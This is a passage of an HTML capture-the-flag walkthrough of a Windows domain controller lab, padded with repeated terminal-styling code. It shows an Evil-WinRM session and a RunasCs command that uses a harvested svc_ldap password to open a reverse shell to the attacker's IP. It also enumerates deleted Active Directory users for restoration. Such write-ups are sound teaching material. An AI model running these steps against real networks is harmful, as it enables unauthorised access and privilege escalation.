    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\svc_winrm\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">voleur\svc_winrm</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\svc_winrm\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type user.txt</span>

<span class="win-output">cf8cccc0************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-svc_winrm-and-svc_ldap">Escalation from <code class="language-plaintext highlighter-rouge">svc_winrm</code> and <code class="language-plaintext highlighter-rouge">svc_ldap</code>:</h2>
<h3 id="root-directory">Root Directory:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\svc_winrm\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir c:\</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\

01/29/2025  02:10 AM    &lt;DIR&gt;          Finance
01/29/2025  02:10 AM    &lt;DIR&gt;          HR
05/29/2025  03:07 PM    &lt;DIR&gt;          inetpub
01/29/2025  02:10 AM    &lt;DIR&gt;          IT
05/08/2021  01:20 AM    &lt;DIR&gt;          PerfLogs
07/24/2025  01:10 PM    &lt;DIR&gt;          Program Files
01/30/2025  06:53 AM    &lt;DIR&gt;          Program Files (x86)
01/30/2025  04:38 AM    &lt;DIR&gt;          Users
06/05/2025  12:53 PM    &lt;DIR&gt;          Windows
               0 File(s)              0 bytes
               9 Dir(s)   3,816,169,472 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>The folders for the three SMB shares are found in the root directory. Both <code class="language-plaintext highlighter-rouge">Finance</code> and <code class="language-plaintext highlighter-rouge">HR</code> are empty.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir finance</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\finance

01/29/2025  02:10 AM    &lt;DIR&gt;          .
               0 File(s)              0 bytes
               1 Dir(s)   3,815,120,896 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir finance</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\hr

01/29/2025  02:10 AM    &lt;DIR&gt;          .
               0 File(s)              0 bytes
               1 Dir(s)   3,815,120,896 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">IT</code> actually contains 3 subfolders, but <code class="language-plaintext highlighter-rouge">ryan.naylor</code> could only see <code class="language-plaintext highlighter-rouge">First-Line Support</code> in SMB.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir it</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\it

01/29/2025  02:10 AM    &lt;DIR&gt;          .
01/29/2025  02:40 AM    &lt;DIR&gt;          First-Line Support
01/29/2025  08:13 AM    &lt;DIR&gt;          Second-Line Support
01/30/2025  09:11 AM    &lt;DIR&gt;          Third-Line Support
               0 File(s)              0 bytes
               4 Dir(s)   3,815,120,896 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">svc_winrm</code> does not have access to any of them.</p>

<h3 id="restore-deleted-user">Restore Deleted User:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/voleur/ad_svc_ldap_graph.png" alt="" /></p>

<p>Recall that <code class="language-plaintext highlighter-rouge">svc_ldap</code> is in a group called <code class="language-plaintext highlighter-rouge">Restore_Users</code>, which probably grants privileges to restore deleted objects. It’s much easier enumerating this in an interactive shell, so I’ll spawn one for <code class="language-plaintext highlighter-rouge">svc_ldap</code> using <a href="https://github.com/antonioCoco/RunasCs">RunasCs.exe</a>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\svc_winrm\desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\runascs.exe svc_ldap M1XyC9pW7qT5Vn cmd.exe -r 10.10.14.36:8001</span>

<span class="win-output">[*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-135fb5$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1428 created in background.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Since it’s a domain controller, it’ll likely have PowerShell’s <a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2025-ps">ActiveDirectory module</a> installed. I’ll use <code class="language-plaintext highlighter-rouge">Get-ADObject</code> to query for deleted object, and <code class="language-plaintext highlighter-rouge">todd.wolfe</code>’s user object is returned:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *</span>

<span class="win-output">CanonicalName                   : voleur.htb/Deleted Objects
CN                              : Deleted Objects
Created                         : 1/29/2025 12:42:27 AM
createTimeStamp                 : 1/29/2025 12:42:27 AM
Deleted                         : True
Description                     : Default container for deleted objects
DisplayName                     : 
DistinguishedName               : CN=Deleted Objects,DC=voleur,DC=htb
dSCorePropagationData           : {12/31/1600 4:00:00 PM}
instanceType                    : 4
isCriticalSystemObject          : True
isDeleted                       : True
LastKnownParent                 : 
Modified                        : 1/29/2025 4:44:42 AM
modifyTimeStamp                 : 1/29/2025 4:44:42 AM
Name                            : Deleted Objects
ObjectCategory                  : CN=Container,CN=Schema,CN=Configuration,DC=voleur,DC=htb
ObjectClass                     : container
ObjectGUID                      : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
ProtectedFromAccidentalDeletion : 
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
systemFlags                     : -1946157056
uSNChanged                      : 13005
uSNCreated                      : 5659
whenChanged                     : 1/29/2025 4:44:42 AM
whenCreated                     : 1/29/2025 12:42:27 AM

accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : voleur.htb/Deleted Objects/Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
CN                              : Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
codePage                        : 0
countryCode                     : 0
Created                         : 1/29/2025 1:08:06 AM
createTimeStamp                 : 1/29/2025 1:08:06 AM
Deleted                         : True
Description                     : Second-Line Support Technician
DisplayName                     : Todd Wolfe
DistinguishedName               : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted 
                                  Objects,DC=voleur,DC=htb
dSCorePropagationData           : {5/13/2025 4:11:10 PM, 1/29/2025 4:52:29 AM, 1/29/2025 4:49:29 AM, 1/29/2025 1:08:06 
                                  AM...}
givenName                       : Todd
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Second-Line Support Technicians,DC=voleur,DC=htb
lastLogoff                      : 0
lastLogon                       : 133826301603754403
lastLogonTimestamp              : 133826287869758230
logonCount                      : 3
memberOf                        : {CN=Second-Line Technicians,DC=voleur,DC=htb, CN=Remote Management 
                                  Users,CN=Builtin,DC=voleur,DC=htb}
Modified                        : 5/13/2025 4:11:17 PM
modifyTimeStamp                 : 5/13/2025 4:11:17 PM
msDS-LastKnownRDN               : Todd Wolfe
Name                            : Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  : 
ObjectClass                     : user
ObjectGUID                      : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid                       : S-1-5-21-3927696377-1337352550-2781715495-1110
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 133826280731790960
sAMAccountName                  : todd.wolfe
sDRightsEffective               : 0
sn                              : Wolfe
userAccountControl              : 66048
userPrincipalName               : todd.wolfe@voleur.htb
uSNChanged                      : 45088
uSNCreated                      : 12863
whenChanged                     : 5/13/2025 4:11:17 PM
whenCreated                     : 1/29/2025 1:08:06 AM</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I’ll then restore <code class="language-plaintext highlighter-rouge">todd.wolfe</code>’s account with <code class="language-plaintext highlighter-rouge">Restore-ADObject</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
